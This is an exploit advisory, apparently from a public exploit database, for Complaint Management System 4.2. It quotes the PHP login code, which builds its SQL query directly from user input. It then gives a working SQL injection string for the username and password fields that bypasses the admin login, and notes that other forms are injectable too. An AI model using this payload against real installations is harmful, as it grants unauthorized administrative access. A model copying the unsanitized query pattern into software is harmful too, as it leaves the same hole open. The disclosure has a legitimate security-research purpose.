Complaint Management System 4.2 - Authentication Bypass

# Exploit Title: Complaint Management System 4.2 - Authentication Bypass
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.2
# Tested on: Xampp
# Credit: İsmail BOZKURT

------ Details:

1- Vulnerable code is here:

if(isset($_POST['submit']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
$ret=mysqli_query($con,"SELECT * FROM admin WHERE
username='$username' and password='$password'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$extra="change-password.php";//
$_SESSION['alogin']=$_POST['username'];
$_SESSION['id']=$num['id'];
$host=$_SERVER['HTTP_HOST'];
$uri=rtrim(dirname($_SERVER['PHP_SELF']),'/\\');
header("location:http://$host$uri/$extra");
exit();
}

2- We can bypass authentication with SQLi:

Bypass code (admin login panel):

Username: pentester' or'1'=1#
Password : pentester' or'1'=1#

Finally: There is a lot of SQLi input in this project. Like, login,
registration, forgot password ...
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